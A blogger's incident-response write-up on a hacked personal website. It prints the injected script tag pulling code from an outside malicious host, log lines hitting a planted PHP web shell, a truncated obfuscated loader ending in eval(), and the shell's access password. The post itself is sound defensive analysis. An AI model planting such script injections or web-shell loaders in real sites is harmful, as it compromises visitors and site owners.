Due to the very nature that this is a website on the Internet means that eventually it would be susceptible to an attack. Wordpress and blog sites are notoriously targeted with infections that append code to HTML files that point them to malicious or advertisement websites. My website was similarly affected last month. Here is how the issue was identified and rectified in just a few minutes after notification.
Notification came by way of Twitter when a friend notified me that my site was redirecting to somewhere else. I was sitting at my desk and quickly opened it to verify. Sure enough, it was:
I SSH'd into the system and immediately changed the password. I then started looking for the culprit. The main file that was causing the redirection was named 'books.htm' and was in my web root folder. This was a simple HTML page that just lists the book projects I've worked on.
Malware infection shown to visitors |
I SSH'd into the system and immediately changed the password. I then started looking for the culprit. The main file that was causing the redirection was named 'books.htm' and was in my web root folder. This was a simple HTML page that just lists the book projects I've worked on.
The first thing I did was manually view the file to see the impact. There was an added line of code to the very beginning of the file:
- <script src="http://globalpoweringgathering.com/nl.php?p=1"></script>\n
With the infection spotted, I checked the file's MAC times to see when the attack occurred:
- $ stat books.htm
File: `books.htm'
Size: 1500 Blocks: 8 IO Block: 4096 regular file
Device: 811h/2065d Inode: 275324414 Links: 1
Access: (0664/-rw-rw-r--) Uid: (10369090/ bbaskin) Gid: (45673/pg144238)
Access: 2010-07-19 07:10:46.000000000 -0700
Modify: 2011-04-02 23:35:38.000000000 -0700
Change: 2011-04-02 23:35:38.000000000 -0700
Looking at the results of this file shows that the file was modified and changed on April 2nd at 11:35PM. This is just one file, so we need to compare against another file to verify the date and time. A quick spot check showed an additional HTM file with the infection:
- $ stat faq.htm
File: `faq.htm'
Size: 143 Blocks: 8 IO Block: 4096 regular file
Device: 811h/2065d Inode: 275322846 Links: 1
Access: (0644/-rw-r--r--) Uid: (10369090/ bbaskin) Gid: (45673/pg144238)
Access: 2010-02-25 20:37:47.000000000 -0800
Modify: 2011-04-02 23:35:38.000000000 -0700
Change: 2011-04-02 23:35:38.000000000 -0700
A spot check across other folders showed similar infections. A grep for "globalpower" showed that it only infected .htm and .html files. I then ran the following script to search for the infection code and remove it.
- grep -Rl "globalpower" * | xargs sed -i 's|<script src="http://globalpoweringgathering.com/nl.php?p=1"></script>\\n||g'
Now that we have a known date and time, and assuming that this is not a stomped date, we can focus on the network logs to see what occurred during that time. When reviewing the Apache logs I found the following two lines that were the sole activity during that time.
- 66.96.128.62 - - [02/Apr/2011:23:35:32 -0700] "POST /main.1.5.back/tmp/aarika_friend.php HTTP/1.1" 200 162 "-""-"
66.96.128.62 - - [02/Apr/2011:23:35:37 -0700] "POST /main.1.5.back/tmp/aarika_friend.php HTTP/1.1" 200 433 "-""-"
- $ stat aarika_friend.php
File: `aarika_friend.php'
Size: 28278 Blocks: 56 IO Block: 4096 regular file
Device: 811h/2065d Inode: 113164428 Links: 1
Access: (0644/-rw-r--r--) Uid: (10369090/ bbaskin) Gid: (45673/pg144238)
Access: 2011-02-24 00:31:36.000000000 -0800
Modify: 2011-02-24 00:31:36.000000000 -0800
Change: 2011-02-24 00:31:36.000000000 -0800
This PHP file was encoded into an unreadable format that we'll touch on later. For now, the hole needs to be patched. I see the first big issue here is that the file exists within a folder called "/main/1.5.back/tmp". When I was doing some obscure testing over a year ago I set the tmp folder in my Joomla to 777 permissions. I then neglected to reset them back. Worst. Mistake. Ever. When I performed a major Joomla update on December 31, 2010, I copied the entire directory to a backup and created a new one. This wide open directory sat there for months. How did the file end up in that particular location? I don't know at this point. I change permissions on the folder for now. I also check all other folders to ensure that none were left open.
To see if any other files were accessed, I scan my folder tree to find any file modified and created within the last 90 days by running:
- $ find ./ -mtime 90
$ find ./ -ctime 90
It was an embarrassing hit, but I did eventually clean the system up. From point of notification to remediation was about 10 minutes. And at least I hold no PII on the server ;)
Malware analysis
For the time, I kept a copy of infected files. They were moved outside of the public web folder to a place where I can later analyze them. I focused on the aarika_friend.php. I copied the code to a VM environment running Linux. This file included the following data (some portions reduced for obvious reasons)
- <?php $_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";$_8bb1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$_8b7b1f56=$_8b7b(""$_8b7b1f("JGs9MTQzOyRtPWV4cGxvZGUoIjsiLCIyMzQ7MjUzOzI1MzsyMjQ7
...
CgkbSBhcyAkdilpZiAoJHYhPSIiKSR6Lj1jaHIoJHZeJGspO2V2YWwoJHopOw=="));$_8b7b1f56();?
- $k=143;$m=explode(";","234;253;253;224;253;208;253;234;255;
...
175;175;175;242;130;133;242;175;");$z=""; foreach($m as $v) if ($v!="") $z.=chr($v^$k); eval($z);
The explode() and chr() PHP functions here are the key. Notice the first variable is k=143. Explode() will take each 3-digit number (splitting on the semicolon) and XOR (^) the number by 143, then convert the result to an ASCII character (chr(number^143)). We can test this manually to test:
$ php -r 'echo(chr(234^143).chr(253^143).chr(253^143).chr(224^143).chr(253^143)."\n");'
error
Now we know that we're seeing appropriate ASCII text. The foreach() command goes through each 3-digit number, converts it to an ASCII character, and appends it to a master variable string called $z. At this point I'm going to edit the code to remove the very last command: eval($z);error
Instead, I'll replace it with:
- $bb=fopen('malware.txt','w');fwrite($bb,$z);fclose($bb);
I then add the necessary PHP header and footer to the file: "<php " and "?>"
After making the edits I double check, then triple check, to ensure that I removed the eval() statement. Then I run:
- php -f aarika_friend.decoded.php
It creates a new output called 'malware.txt' which contains the raw code. Rather than display it here, I'll point you to a pastebin archive of the code. Pastebin gives a safe environment to view the code while performing syntax highlighting to make it easier to read.
- Safe copy of malware PHP code : http://pastebin.com/6fy7tmqn
So let's analyze a bit of what's going on in this code. By looking solely at the HTML sections we can see a basic web structure in place. The script creates three two boxes for Check (p) and cmd. The attacker types in their command into the cmd box and a verification phrase into the Check box.
Before executing the command the code first looks to see if the check phrase, stored as a variable named 'p', is correct.
- if (md5($_COOKIE["p"]) !="ca3f717a5e53f4ce47b9062cfbfb2458") {
If the MD5 hash of the phrase matches the value above then the specified command executes. The verification value that matches that MD5? It's "showmustgoon!"
$ echo -n showmustgoon! | md5sum
ca3f717a5e53f4ce47b9062cfbfb2458 -
ca3f717a5e53f4ce47b9062cfbfb2458 -
At this point, the rest is just an academic exercise. The exploit was found, the vulnerability was found, and all was remediated. It turned into a learning lesson for me and hopefully for you as well.